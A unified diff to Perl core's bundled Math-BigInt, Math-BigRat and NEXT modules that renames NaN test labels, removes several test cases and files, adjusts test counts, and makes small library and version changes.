@@ -1782,10 +1782,10 @@ invalid:-inf:0:NaN
 abc:abc:NaN
 abc:+0:NaN
 +0:abc:NaN
-invalid:+inf:NaN
-invalid:-inf:NaN
--inf:invalid:NaN
-+inf:invalid:NaN
+NaNmul:+inf:NaN
+NaNmul:-inf:NaN
+-inf:NaNmul:NaN
++inf:NaNmul:NaN
 +inf:+inf:inf
 +inf:-inf:-inf
 -inf:+inf:-inf
@@ -2812,7 +2812,7 @@ abc:NaN,NaN
 
 &bfac
 -1:NaN
-invalid:NaN
+NaNfac:NaN
 +inf:inf
 -inf:NaN
 0:1
@@ -3082,7 +3082,7 @@ NaN:1:NaN
 &bround
 $round_mode("trunc")
 0:12:0
-invalid:12:NaN
+NaNbround:12:NaN
 +inf:12:inf
 -inf:12:-inf
 1234:0:1234
@@ -3183,7 +3183,7 @@ $round_mode("common")
 
 &is_zero
 0:1
-invalid:0
+NaNzero:0
 +inf:0
 -inf:0
 123:0
@@ -3192,7 +3192,7 @@ invalid:0
 
 &is_one
 0:0
-invalid:0
+NaNone:0
 +inf:0
 -inf:0
 1:1
@@ -3203,7 +3203,7 @@ invalid:0
 # floor, ceil, and int are pretty pointless in integer space, but play safe
 &bfloor
 0:0
-invalid:NaN
+NaNfloor:NaN
 +inf:inf
 -inf:-inf
 -1:-1
@@ -3213,7 +3213,7 @@ invalid:NaN
 abc:NaN
 
 &bceil
-invalid:NaN
+NaNceil:NaN
 +inf:inf
 -inf:-inf
 0:0
@@ -3242,7 +3242,7 @@ NaN:NaN
 0x123456789123456789:0x123456789123456789
 +inf:inf
 -inf:-inf
-invalid:NaN
+NaNas_hex:NaN
 
 &as_bin
 128:0b10000000
@@ -3254,7 +3254,7 @@ invalid:NaN
 0x123456789123456789:0b100100011010001010110011110001001000100100011010001010110011110001001
 +inf:inf
 -inf:-inf
-invalid:NaN
+NaNas_bin:NaN
 
 &as_oct
 128:0200
@@ -3266,42 +3266,7 @@ invalid:NaN
 0x123456789123456789:044321263611044321263611
 +inf:inf
 -inf:-inf
-invalid:NaN
-
-&to_hex
-128:80
--128:-80
-0:0
--0:0
-1:1
-0x123456789123456789:123456789123456789
-+inf:inf
--inf:-inf
-invalid:NaN
-
-&to_bin
-128:10000000
--128:-10000000
-0:0
--0:0
-1:1
-0b1010111101010101010110110110110110101:1010111101010101010110110110110110101
-0x123456789123456789:100100011010001010110011110001001000100100011010001010110011110001001
-+inf:inf
--inf:-inf
-invalid:NaN
-
-&to_oct
-128:200
--128:-200
-0:0
--0:0
-1:1
-0b1010111101010101010110110110110110101:1275252666665
-0x123456789123456789:44321263611044321263611
-+inf:inf
--inf:-inf
-invalid:NaN
+NaNas_oct:NaN
 
 # overloaded functions
 &log
diff --git a/cpan/Math-BigInt/t/bigintpm.t b/cpan/Math-BigInt/t/bigintpm.t
index d052a8780374..c06dc557987d 100644
--- a/cpan/Math-BigInt/t/bigintpm.t
+++ b/cpan/Math-BigInt/t/bigintpm.t
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 3942            # tests in require'd file
+use Test::More tests => 3913            # tests in require'd file
                          + 20;          # tests in this file
 
 use Math::BigInt only => 'Calc';
diff --git a/cpan/Math-BigInt/t/blucas-mbi.t b/cpan/Math-BigInt/t/blucas-mbi.t
deleted file mode 100644
index 17b9017fbfbe..000000000000
--- a/cpan/Math-BigInt/t/blucas-mbi.t
+++ /dev/null
@@ -1,86 +0,0 @@
-#!perl
-
-use strict;
-use warnings;
-
-use Test::More tests => 15;
-
-use Math::BigInt;
-
-my $x;
-
-###############################################################################
-# Scalar context.
-###############################################################################
-
-my $y;
-
-# Finite numbers.
-
-$x = Math::BigInt -> new("-20");
-$y = $x -> blucas();
-is($y, "-15127", "blucas(-20)");
-
-$x = Math::BigInt -> new("-15");
-$y = $x -> blucas();
-is($y, "1364", "blucas(-15)");
-
-$x = Math::BigInt -> new("-2");
-$y = $x -> blucas();
-is($y, "-3", "blucas(-2)");
-
-$x = Math::BigInt -> new("-1");
-$y = $x -> blucas();
-is($y, "1", "blucas(-1)");
-
-$x = Math::BigInt -> new("0");
-$y = $x -> blucas();
-is($y, "2", "blucas(0)");
-
-$x = Math::BigInt -> new("1");
-$y = $x -> blucas();
-is($y, "1", "blucas(1)");
-
-$x = Math::BigInt -> new("2");
-$y = $x -> blucas();
-is($y, "3", "blucas(2)");
-
-$x = Math::BigInt -> new("15");
-$y = $x -> blucas();
-is($y, "1364", "blucas(15)");
-
-$x = Math::BigInt -> new("20");
-$y = $x -> blucas();
-is($y, "15127", "blucas(20)");
-
-$x = Math::BigInt -> new("250");
-$y = $x -> blucas();
-is($y, "17656721319717734662791328845675730903632844218828123", "blucas(250)");
-
-# Infinites and NaN.
-
-$x = Math::BigInt -> binf("+");
-$y = $x -> blucas();
-is($y, "inf", "blucas(+inf)");
-
-$x = Math::BigInt -> binf("-");
-$y = $x -> blucas();
-is($y, "NaN", "blucas(-inf)");
-
-$x = Math::BigInt -> bnan();
-$y = $x -> blucas();
-is($y, "NaN", "blucas(NaN)");
-
-###############################################################################
-# List context.
-###############################################################################
-
-my @y;
-
-$x = Math::BigInt -> new("10");
-@y = $x -> blucas();
-is_deeply(\@y, [2, 1, 3, 4, 7, 11, 18, 29, 47, 76, 123], "blucas(10)");
-
-$x = Math::BigInt -> new("-10");
-@y = $x -> blucas();
-is_deeply(\@y, [2, 1, -3, 4, -7, 11, -18, 29, -47, 76, -123], "blucas(-10)");
diff --git a/cpan/Math-BigInt/t/calling.t b/cpan/Math-BigInt/t/calling.t
index 900677542b4b..ad3104442ef5 100644
--- a/cpan/Math-BigInt/t/calling.t
+++ b/cpan/Math-BigInt/t/calling.t
@@ -6,7 +6,7 @@ use strict;
 use warnings;
 use lib 't';
 
-my $VERSION = '1.999811';       # adjust manually to match latest release
+my $VERSION = '1.999806';       # adjust manually to match latest release
 
 use Test::More tests => 5;
 
diff --git a/cpan/Math-BigInt/t/from_bin-mbf.t b/cpan/Math-BigInt/t/from_bin-mbf.t
index 99c02dbf1c2c..e24cd3b665ea 100644
--- a/cpan/Math-BigInt/t/from_bin-mbf.t
+++ b/cpan/Math-BigInt/t/from_bin-mbf.t
@@ -3,16 +3,13 @@
 use strict;
 use warnings;
 
-use Test::More tests => 729;
+use Test::More tests => 183;
 
 my $class;
 
 BEGIN { $class = 'Math::BigFloat'; }
 BEGIN { use_ok($class, '1.999710'); }
 
-my @data;
-my $space = "\t\r\n ";
-
 while () {
     s/#.*$//;           # remove comments
     s/\s+$//;           # remove trailing whitespace
@@ -20,15 +17,6 @@ while () {
 
     my ($in0, $out0) = split /:/;
 
-    push @data, [ $in0, $out0 ],
-                [ $in0 . $space, $out0 ],
-                [ $space . $in0, $out0 ],
-                [ $space . $in0 . $space, $out0 ];
-}
-
-for my $entry (@data) {
-    my ($in0, $out0) = @$entry;
-
     # As class method.
 
     {
diff --git a/cpan/Math-BigInt/t/from_bin-mbi.t b/cpan/Math-BigInt/t/from_bin-mbi.t
index b4730794613d..b33eb6794bfb 100644
--- a/cpan/Math-BigInt/t/from_bin-mbi.t
+++ b/cpan/Math-BigInt/t/from_bin-mbi.t
@@ -3,16 +3,13 @@
 use strict;
 use warnings;
 
-use Test::More tests => 1373;
+use Test::More tests => 344;
 
 my $class;
 
 BEGIN { $class = 'Math::BigInt'; }
 BEGIN { use_ok($class); }
 
-my @data;
-my $space = "\t\r\n ";
-
 while () {
     s/#.*$//;           # remove comments
     s/\s+$//;           # remove trailing whitespace
@@ -20,15 +17,6 @@ while () {
 
     my ($in0, $out0) = split /:/;
 
-    push @data, [ $in0, $out0 ],
-                [ $in0 . $space, $out0 ],
-                [ $space . $in0, $out0 ],
-                [ $space . $in0 . $space, $out0 ];
-}
-
-for my $entry (@data) {
-    my ($in0, $out0) = @$entry;
-
     # As class method.
 
     {
diff --git a/cpan/Math-BigInt/t/from_hex-mbf.t b/cpan/Math-BigInt/t/from_hex-mbf.t
index 34b7726b40a1..1a3994923a7f 100644
--- a/cpan/Math-BigInt/t/from_hex-mbf.t
+++ b/cpan/Math-BigInt/t/from_hex-mbf.t
@@ -3,16 +3,13 @@
 use strict;
 use warnings;
 
-use Test::More tests => 729;
+use Test::More tests => 183;
 
 my $class;
 
 BEGIN { $class = 'Math::BigFloat'; }
 BEGIN { use_ok($class, '1.999710'); }
 
-my @data;
-my $space = "\t\r\n ";
-
 while () {
     s/#.*$//;           # remove comments
     s/\s+$//;           # remove trailing whitespace
@@ -20,15 +17,6 @@ while () {
 
     my ($in0, $out0) = split /:/;
 
-    push @data, [ $in0, $out0 ],
-                [ $in0 . $space, $out0 ],
-                [ $space . $in0, $out0 ],
-                [ $space . $in0 . $space, $out0 ];
-}
-
-for my $entry (@data) {
-    my ($in0, $out0) = @$entry;
-
     # As class method.
 
     {
diff --git a/cpan/Math-BigInt/t/from_hex-mbi.t b/cpan/Math-BigInt/t/from_hex-mbi.t
index 246b455ebdfd..2bb130110bbb 100644
--- a/cpan/Math-BigInt/t/from_hex-mbi.t
+++ b/cpan/Math-BigInt/t/from_hex-mbi.t
@@ -3,16 +3,13 @@
 use strict;
 use warnings;
 
-use Test::More tests => 1373;
+use Test::More tests => 344;
 
 my $class;
 
 BEGIN { $class = 'Math::BigInt'; }
 BEGIN { use_ok($class); }
 
-my @data;
-my $space = "\t\r\n ";
-
 while () {
     s/#.*$//;           # remove comments
     s/\s+$//;           # remove trailing whitespace
@@ -20,15 +17,6 @@ while () {
 
     my ($in0, $out0) = split /:/;
 
-    push @data, [ $in0, $out0 ],
-                [ $in0 . $space, $out0 ],
-                [ $space . $in0, $out0 ],
-                [ $space . $in0 . $space, $out0 ];
-}
-
-for my $entry (@data) {
-    my ($in0, $out0) = @$entry;
-
     # As class method.
 
     {
diff --git a/cpan/Math-BigInt/t/from_oct-mbf.t b/cpan/Math-BigInt/t/from_oct-mbf.t
index 685934820c46..b735bd5c6f4c 100644
--- a/cpan/Math-BigInt/t/from_oct-mbf.t
+++ b/cpan/Math-BigInt/t/from_oct-mbf.t
@@ -3,16 +3,13 @@
 use strict;
 use warnings;
 
-use Test::More tests => 729;
+use Test::More tests => 183;
 
 my $class;
 
 BEGIN { $class = 'Math::BigFloat'; }
 BEGIN { use_ok($class, '1.999710'); }
 
-my @data;
-my $space = "\t\r\n ";
-
 while () {
     s/#.*$//;           # remove comments
     s/\s+$//;           # remove trailing whitespace
@@ -20,15 +17,6 @@ while () {
 
     my ($in0, $out0) = split /:/;
 
-    push @data, [ $in0, $out0 ],
-                [ $in0 . $space, $out0 ],
-                [ $space . $in0, $out0 ],
-                [ $space . $in0 . $space, $out0 ];
-}
-
-for my $entry (@data) {
-    my ($in0, $out0) = @$entry;
-
     # As class method.
 
     {
diff --git a/cpan/Math-BigInt/t/from_oct-mbi.t b/cpan/Math-BigInt/t/from_oct-mbi.t
index 6ff650c8b8eb..3a7833dc4627 100644
--- a/cpan/Math-BigInt/t/from_oct-mbi.t
+++ b/cpan/Math-BigInt/t/from_oct-mbi.t
@@ -3,16 +3,13 @@
 use strict;
 use warnings;
 
-use Test::More tests => 1373;
+use Test::More tests => 344;
 
 my $class;
 
 BEGIN { $class = 'Math::BigInt'; }
 BEGIN { use_ok($class); }
 
-my @data;
-my $space = "\t\r\n ";
-
 while () {
     s/#.*$//;           # remove comments
     s/\s+$//;           # remove trailing whitespace
@@ -20,15 +17,6 @@ while () {
 
     my ($in0, $out0) = split /:/;
 
-    push @data, [ $in0, $out0 ],
-                [ $in0 . $space, $out0 ],
-                [ $space . $in0, $out0 ],
-                [ $space . $in0 . $space, $out0 ];
-}
-
-for my $entry (@data) {
-    my ($in0, $out0) = @$entry;
-
     # As class method.
 
     {
diff --git a/cpan/Math-BigInt/t/sub_mbf.t b/cpan/Math-BigInt/t/sub_mbf.t
index 75f7faffc4e2..9c63d8133b2c 100644
--- a/cpan/Math-BigInt/t/sub_mbf.t
+++ b/cpan/Math-BigInt/t/sub_mbf.t
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 2482            # tests in require'd file
+use Test::More tests => 2402            # tests in require'd file
                          + 6;           # tests in this file
 
 use lib 't';
diff --git a/cpan/Math-BigInt/t/sub_mbi.t b/cpan/Math-BigInt/t/sub_mbi.t
index fca01f01e242..e991ad93f226 100644
--- a/cpan/Math-BigInt/t/sub_mbi.t
+++ b/cpan/Math-BigInt/t/sub_mbi.t
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 3942            # tests in require'd file
+use Test::More tests => 3913            # tests in require'd file
                          + 5;           # tests in this file
 
 use lib 't';
diff --git a/cpan/Math-BigInt/t/upgrade.inc b/cpan/Math-BigInt/t/upgrade.inc
index 41428bcc5e2d..3810b8ebecd6 100644
--- a/cpan/Math-BigInt/t/upgrade.inc
+++ b/cpan/Math-BigInt/t/upgrade.inc
@@ -82,8 +82,10 @@ while () {
         $try = qq|\$x = $CLASS->bnorm("$args[0]");|;
     } elsif ($f =~ /^is_(zero|one|odd|even|negative|positive|nan|int)$/) {
         $try .= " \$x->$f();";
-    } elsif ($f =~ /^(to|as)_(hex|oct|bin)$/) {
-        $try .= " \$x->$f();";
+    } elsif ($f eq "as_hex") {
+        $try .= ' $x->as_hex();';
+    } elsif ($f eq "as_bin") {
+        $try .= ' $x->as_bin();';
     } elsif ($f eq "is_inf") {
         $try .= " \$x->is_inf('$args[1]');";
     } elsif ($f eq "binf") {
@@ -91,7 +93,7 @@ while () {
     } elsif ($f eq "bone") {
         $try .= " \$x->bone('$args[1]');";
     # some unary ops
-    } elsif ($f =~ /^b(nan|floor|ceil|int|sstr|neg|abs|inc|dec|not|sqrt|d?fac)$/) {
+    } elsif ($f =~ /^b(nan|floor|ceil|int|sstr|neg|abs|inc|dec|not|sqrt|fac)$/) {
         $try .= " \$x->$f();";
     } elsif ($f eq "length") {
         $try .= ' $x->length();';
@@ -255,39 +257,29 @@ sub is_valid {
 }
 
 __DATA__
-
 &.=
 1234:-345:1234-345
-
 &+=
 1:2:3
 -1:-2:-3
-
 &-=
 1:2:-1
 -1:-2:1
-
 &*=
 2:3:6
 -1:5:-5
-
 &%=
 100:3:1
 8:9:8
-
 &/=
 100:3:33.33333333333333333333333333333333333333
 -8:2:-4
-
 &|=
 2:1:3
-
 &&=
 5:7:5
-
 &^=
 5:7:2
-
 &is_negative
 0:0
 -1:1
@@ -295,7 +287,6 @@ __DATA__
 +inf:0
 -inf:1
 NaNneg:0
-
 &is_positive
 0:0
 -1:0
@@ -303,7 +294,6 @@ NaNneg:0
 +inf:1
 -inf:0
 NaNneg:0
-
 &is_odd
 abc:0
 0:0
@@ -316,7 +306,6 @@ abc:0
 2:0
 120:0
 121:1
-
 &is_int
 NaN:0
 inf:0
@@ -324,7 +313,6 @@ inf:0
 1:1
 12:1
 123e12:1
-
 &is_even
 abc:0
 0:1
@@ -337,7 +325,6 @@ abc:0
 2:1
 120:1
 121:0
-
 &bacmp
 +0:-0:0
 +0:+1:-1
@@ -368,7 +355,6 @@ acmpNaN:acmpNaN:
 NaN:inf:
 -inf:NaN:
 NaN:-inf:
-
 &bnorm
 123:123
 12.3:12.3^
@@ -546,12 +532,10 @@ E23:NaN
 -1010E-2:-10.1^
 -1.01E+1:-10.1^
 -1.01E-1:-0.101^
-
 &bnan
 1:NaN
 2:NaN
 abc:NaN
-
 &bone
 2:+:1
 2:-:-1
@@ -559,18 +543,15 @@ boneNaN:-:-1
 boneNaN:+:1
 2:abc:1
 3::1
-
 &binf
 1:+:inf
 2:-:-inf
 3:abc:inf
-
 &is_nan
 123:0
 abc:1
 NaN:1
 -123:0
-
 &is_inf
 +inf::1
 -inf::1
@@ -584,7 +565,6 @@ NaN::0
 -inf:+:0
 +iNfInItY::1
 -InFiNiTy::1
-
 &blsft
 abc:abc:NaN
 +2:+2:8
@@ -599,7 +579,6 @@ abc:abc:NaN
 +12:2:10:1200
 +1234:-3:10:NaN
 1234567890123:12:10:1234567890123000000000000
-
 &brsft
 abc:abc:NaN
 +8:+2:2
@@ -618,13 +597,11 @@ abc:abc:NaN
 1230000000000:10:10:123
 09876123456789067890:12:10:9876123
 1234561234567890123:13:10:123456
-
 &bsstr
 1e+34:1e+34
 123.456E3:123456e+0
 100:1e+2
 abc:NaN
-
 &bneg
 bnegNaN:NaN
 +inf:-inf
@@ -635,7 +612,6 @@ abd:NaN
 -1:1
 +123456789:-123456789
 -123456789:123456789
-
 &babs
 babsNaN:NaN
 +inf:inf
@@ -645,7 +621,6 @@ babsNaN:NaN
 -1:1
 +123456789:123456789
 -123456789:123456789
-
 &bcmp
 bcmpNaN:bcmpNaN:
 bcmpNaN:0:
@@ -690,7 +665,6 @@ bcmpNaN:0:
 NaN:inf:
 -inf:NaN:
 NaN:-inf:
-
 &binc
 abc:NaN
 +inf:inf
@@ -698,7 +672,6 @@ abc:NaN
 +0:1
 +1:2
 -1:0
-
 &bdec
 abc:NaN
 +inf:inf
@@ -706,7 +679,6 @@ abc:NaN
 +0:-1
 +1:0
 -1:-2
-
 &badd
 abc:abc:NaN
 abc:0:NaN
@@ -756,7 +728,6 @@ baddNaN:+inf:NaN
 2:2.5:4.5^
 -123:-1.5:-124.5^
 -1.2:1:-0.2^
-
 &bsub
 abc:abc:NaN
 abc:+0:NaN
@@ -799,7 +770,6 @@ abc:+0:NaN
 -123456789:+987654321:-1111111110
 -123456789:-987654321:864197532
 +123456789:-987654321:1111111110
-
 &bmul
 abc:abc:NaN
 abc:+0:NaN
@@ -862,7 +832,6 @@ NaNmul:-inf:NaN
 9999999999999999999:10000000000000000000:99999999999999999990000000000000000000
 3:3.5:10.5^
 3.5:3:10.5^
-
 &bdiv-list
 100:20:5,0
 4095:4095:1,0
@@ -901,7 +870,6 @@ inf:0:inf,inf
 -8:0:-inf,-8
 -inf:0:-inf,-inf
 0:0:NaN,0
-
 &bdiv
 abc:abc:NaN
 abc:1:NaN
@@ -980,7 +948,6 @@ inf:0:inf
 # bug in Calc with '99999' vs $BASE-1
 #10000000000000000000000000000000000000000000000000000000000000000000000000000000000:10000000375084540248994272022843165711074:999999962491547381984643365663244474111576
 12:24:0.5^
-
 &bmod
 # inf handling, see table in doc
 0:inf:0
@@ -1054,7 +1021,6 @@ abc:1:abc:NaN
 100041000510123:3:0
 152403346:12345:4321
 9:5:4
-
 &bgcd
 abc:abc:NaN
 abc:+0:NaN
@@ -1071,7 +1037,6 @@ abc:+0:NaN
 1034:804:2
 27:90:56:1
 27:90:54:9
-
 &blcm
 abc:abc:NaN
 abc:+0:NaN
@@ -1081,7 +1046,6 @@ abc:+0:NaN
 +0:+1:0
 +27:+90:270
 +1034:+804:415668
-
 &band
 abc:abc:NaN
 abc:0:NaN
@@ -1115,7 +1079,6 @@ abc:0:NaN
 0xF0F0F0F0F0F0:0xF0F0F0F0F0F0:0x0xF0F0F0F0F0F0
 0x0F0F0F0F0F0F:0x0F0F0F0F0F0F:0x0x0F0F0F0F0F0F
 0x1F0F0F0F0F0F:0x3F0F0F0F0F0F:0x0x1F0F0F0F0F0F
-
 &bior
 abc:abc:NaN
 abc:0:NaN
@@ -1162,7 +1125,6 @@ abc:0:NaN
 0x0F0F0F0F0F0F:0x0F0F0F0F0F0F:0x0x0F0F0F0F0F0F
 0x0F0F0F0F0F0F:0xF0F0F0F0F0F0:0x0xFFFFFFFFFFFF
 0x1F0F0F0F0F0F:0xF0F0F0F0F0F0:0x0xFFFFFFFFFFFF
-
 &bxor
 abc:abc:NaN
 abc:0:NaN
@@ -1210,7 +1172,6 @@ abc:0:NaN
 0xF0F0F0F0F0F0:0xF0F0F0F0F0F0:0
 0x0F0F0F0F0F0F:0x0F0F0F0F0F0F:0
 0x0F0F0F0F0F0F:0xF0F0F0F0F0F0:0x0xFFFFFFFFFFFF
-
 &bnot
 abc:NaN
 +0:-1
@@ -1219,7 +1180,6 @@ abc:NaN
 -1:0
 -2:1
 -12:11
-
 &digit
 0:0:0
 12:0:2
@@ -1242,7 +1202,6 @@ abc:NaN
 100000:-3:0
 100000:0:0
 100000:1:0
-
 &mantissa
 abc:NaN
 1e4:1
@@ -1252,7 +1211,6 @@ abc:NaN
 -2:-2
 +inf:inf
 -inf:-inf
-
 &exponent
 abc:NaN
 1e4:4
@@ -1263,7 +1221,6 @@ abc:NaN
 0:0
 +inf:inf
 -inf:inf
-
 &parts
 abc:NaN,NaN
 1e4:1,4
@@ -1274,7 +1231,6 @@ abc:NaN,NaN
 0:0,0
 +inf:inf,inf
 -inf:-inf,inf
-
 &bfac
 -1:NaN
 NaNfac:NaN
@@ -1290,26 +1246,6 @@ NaNfac:NaN
 10:3628800
 11:39916800
 12:479001600
-
-&bdfac
-NaN:NaN
--1:NaN
-+inf:inf
--inf:NaN
-0:1
-1:1
-2:2
-3:3
-4:8
-5:15
-6:48
-7:105
-8:384
-9:945
-10:3840
-11:10395
-12:46080
-
 &bpow
 abc:12:NaN
 12:abc:NaN
@@ -1373,7 +1309,6 @@ abc:12:NaN
 10:20:100000000000000000000
 123456:2:15241383936
 #2:0.5:1.41^
-
 &length
 100:3
 10:2
@@ -1384,12 +1319,10 @@ abc:12:NaN
 -123:3
 215960156869840440586892398248:30
 # broot always upgrades
-
 &broot
 144:2:12^
 123:2:11.09053650640941716205160010260993291846^
 # bsqrt always upgrades
-
 &bsqrt
 145:12.04159457879229548012824103037860805243^
 144:12^
@@ -1416,7 +1349,6 @@ abc:12:NaN
 Nan:NaN
 +inf:inf
 -inf:NaN
-
 &bround
 $round_mode('trunc')
 0:12:0
@@ -1497,7 +1429,6 @@ $round_mode('even')
 +1234567:6:1234570
 +12345000:4:12340000
 -12345000:4:-12340000
-
 &is_zero
 0:1
 NaNzero:0
@@ -1506,7 +1437,6 @@ NaNzero:0
 123:0
 -1:0
 1:0
-
 &is_one
 0:0
 NaNone:0
@@ -1517,7 +1447,6 @@ NaNone:0
 -1:0
 -2:0
 # floor and ceil are pretty pointless in integer space, but play safe
-
 &bfloor
 0:0
 NaNfloor:NaN
@@ -1528,7 +1457,6 @@ NaNfloor:NaN
 2:2
 3:3
 abc:NaN
-
 &bceil
 NaNceil:NaN
 +inf:inf
@@ -1539,7 +1467,6 @@ NaNceil:NaN
 2:2
 3:3
 abc:NaN
-
 &bint
 NaN:NaN
 +inf:inf
@@ -1549,41 +1476,6 @@ NaN:NaN
 -2:-2
 2:2
 3:3
-
-&to_hex
-128:80
--128:-80
-0:0
--0:0
-1:1
-0x123456789123456789:123456789123456789
-+inf:inf
--inf:-inf
-NaNto_hex:NaN
-
-&to_oct
-128:200
--128:-200
-0:0
--0:0
-1:1
-0b1010111101010101010110110110110110101:1275252666665
-0x123456789123456789:44321263611044321263611
-+inf:inf
--inf:-inf
-NaNto_oct:NaN
-
-&to_bin
-128:10000000
--128:-10000000
-0:0
--0:0
-1:1
-0b1010111101010101010110110110110110101:1010111101010101010110110110110110101
-+inf:inf
--inf:-inf
-NaNto_bin:NaN
-
 &as_hex
 128:0x80
 -128:-0x80
@@ -1594,7 +1486,6 @@ NaNto_bin:NaN
 +inf:inf
 -inf:-inf
 NaNas_hex:NaN
-
 &as_bin
 128:0b10000000
 -128:-0b10000000
@@ -1605,15 +1496,3 @@ NaNas_hex:NaN
 +inf:inf
 -inf:-inf
 NaNas_bin:NaN
-
-&as_oct
-128:0200
--128:-0200
-0:00
--0:00
-1:01
-0b1010111101010101010110110110110110101:01275252666665
-0x123456789123456789:044321263611044321263611
-+inf:inf
--inf:-inf
-NaNas_oct:NaN
diff --git a/cpan/Math-BigInt/t/upgrade.t b/cpan/Math-BigInt/t/upgrade.t
index 98b8d9af9044..2307a48c293b 100644
--- a/cpan/Math-BigInt/t/upgrade.t
+++ b/cpan/Math-BigInt/t/upgrade.t
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 2196            # tests in require'd file
+use Test::More tests => 2124            # tests in require'd file
                          + 2;           # tests in this file
 
 use Math::BigInt upgrade => 'Math::BigFloat';
diff --git a/cpan/Math-BigInt/t/upgradef.t b/cpan/Math-BigInt/t/upgradef.t
index 0663cdaa8bc0..d2088903dfaa 100644
--- a/cpan/Math-BigInt/t/upgradef.t
+++ b/cpan/Math-BigInt/t/upgradef.t
@@ -10,7 +10,7 @@ package Math::BigFloat::Test;
 
 use Math::BigFloat;
 require Exporter;
-our @ISA = qw/Math::BigFloat Exporter/;
+our @ISA = qw/Exporter Math::BigFloat/;
 
 use overload;
 
diff --git a/cpan/Math-BigInt/t/with_sub.t b/cpan/Math-BigInt/t/with_sub.t
index 3a17fdc761ca..6a71ee105d0d 100644
--- a/cpan/Math-BigInt/t/with_sub.t
+++ b/cpan/Math-BigInt/t/with_sub.t
@@ -5,7 +5,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 2482            # tests in require'd file
+use Test::More tests => 2402            # tests in require'd file
                          + 1;           # tests in this file
 
 use Math::BigFloat with => 'Math::BigInt::Subclass',
diff --git a/cpan/Math-BigRat/lib/Math/BigRat.pm b/cpan/Math-BigRat/lib/Math/BigRat.pm
index 520b443b0150..c604a2706f7c 100644
--- a/cpan/Math-BigRat/lib/Math/BigRat.pm
+++ b/cpan/Math-BigRat/lib/Math/BigRat.pm
@@ -18,9 +18,9 @@ use warnings;
 
 use Carp ();
 
-use Math::BigFloat 1.999718;
+use Math::BigFloat '1.999718';
 
-our $VERSION = '0.2613';
+our $VERSION = '0.2611';
 
 our @ISA = qw(Math::BigFloat);
 
@@ -887,11 +887,9 @@ sub bmul {
     my $gcd_sq = $LIB -> _gcd($LIB -> _copy($y->{_n}), $x->{_d});
 
     $x->{_n} = $LIB -> _mul(scalar $LIB -> _div($x->{_n}, $gcd_pr),
-                            scalar $LIB -> _div($LIB -> _copy($y->{_n}),
-                                                $gcd_sq));
+                            scalar $LIB -> _div($y->{_n}, $gcd_sq));
     $x->{_d} = $LIB -> _mul(scalar $LIB -> _div($x->{_d}, $gcd_sq),
-                            scalar $LIB -> _div($LIB -> _copy($y->{_d}),
-                                                $gcd_pr));
+                            scalar $LIB -> _div($y->{_d}, $gcd_pr));
 
     # compute new sign
     $x->{sign} = $x->{sign} eq $y->{sign} ? '+' : '-';
@@ -1350,19 +1348,15 @@ sub blog {
     # value is used as the base, otherwise the base is assumed to be Euler's
     # constant.
 
-    my ($class, $x, $base, @r);
-
     # Don't objectify the base, since an undefined base, as in $x->blog() or
     # $x->blog(undef) signals that the base is Euler's number.
 
-    if (!ref($_[0]) && $_[0] =~ /^[A-Za-z]|::/) {
-        # E.g., Math::BigFloat->blog(256, 2)
-        ($class, $x, $base, @r) =
-          defined $_[2] ? objectify(2, @_) : objectify(1, @_);
-    } else {
-        # E.g., Math::BigFloat::blog(256, 2) or $x->blog(2)
-        ($class, $x, $base, @r) =
-          defined $_[1] ? objectify(2, @_) : objectify(1, @_);
+    # set up parameters
+    my ($class, $x, $base, @r) = (ref($_[0]), @_);
+
+    # objectify is costly, so avoid it
+    if ((!ref($_[0])) || (ref($_[0]) ne ref($_[1]))) {
+        ($class, $x, $base, @r) = objectify(1, @_);
     }
 
     return $x if $x->modify('blog');
@@ -1423,7 +1417,7 @@ sub bexp {
 
     # objectify is costly, so avoid it
     if ((!ref($_[0])) || (ref($_[0]) ne ref($_[1]))) {
-        ($class, $x, $y, @r) = objectify(1, @_);
+        ($class, $x, $y, @r) = objectify(2, @_);
     }
 
     return $x->binf(@r)  if $x->{sign} eq '+inf';
diff --git a/cpan/Math-BigRat/t/rt121139.t b/cpan/Math-BigRat/t/rt121139.t
deleted file mode 100644
index b0cd214ad3bd..000000000000
--- a/cpan/Math-BigRat/t/rt121139.t
+++ /dev/null
@@ -1,16 +0,0 @@
-#!perl
-
-# check for cpan rt #121139
-
-use strict;
-use warnings;
-use Test::More tests => 2;
-use Math::BigRat;
-
-my $a = Math::BigRat->new('3/2');
-my $x = Math::BigRat->new('2/3');
-is("$a", "3/2");
-
-my $y = $a;
-$y = $x * $y;
-is("$a", "3/2");
diff --git a/cpan/NEXT/lib/NEXT.pm b/cpan/NEXT/lib/NEXT.pm
index a2ad070f6512..cb87fb659b0c 100644
--- a/cpan/NEXT/lib/NEXT.pm
+++ b/cpan/NEXT/lib/NEXT.pm
@@ -5,7 +5,7 @@ use strict;
 use warnings;
 use overload ();
 
-our $VERSION = '0.67_01';
+our $VERSION = '0.67';
 
 sub NEXT::ELSEWHERE::ancestors
 {
@@ -64,19 +64,17 @@ sub NEXT::ELSEWHERE::buildAUTOLOAD
                 last if shift @forebears eq $caller_class
             }
             no strict 'refs';
-            # Use *{"..."} when first accessing the CODE slot, to make sure
-            # any typeglob stub is upgraded to a full typeglob.
             @{$NEXT::NEXT{$key,$wanted_method}} =
                 map {
                     my $stash = \%{"${_}::"};
-                    ($stash->{$caller_method} && (*{"${_}::$caller_method"}{CODE}))
+                    ($stash->{$caller_method} && (*{$stash->{$caller_method}}{CODE}))
                         ? *{$stash->{$caller_method}}{CODE}
                         : () } @forebears
                     unless $wanted_method eq 'AUTOLOAD';
             @{$NEXT::NEXT{$key,$wanted_method}} =
                 map {
                     my $stash = \%{"${_}::"};
-                    ($stash->{AUTOLOAD} && (*{"${_}::AUTOLOAD"}{CODE}))
+                    ($stash->{AUTOLOAD} && (*{$stash->{AUTOLOAD}}{CODE}))
                         ? "${_}::AUTOLOAD"
                         : () } @forebears
                     unless @{$NEXT::NEXT{$key,$wanted_method}||[]};
diff --git a/cpan/NEXT/t/next.t b/cpan/NEXT/t/next.t
index fd9bea671c27..bdabd1486fed 100644
--- a/cpan/NEXT/t/next.t
+++ b/cpan/NEXT/t/next.t
@@ -1,4 +1,4 @@
-BEGIN { print "1..27\n"; }
+BEGIN { print "1..26\n"; }
 
 use NEXT;
 
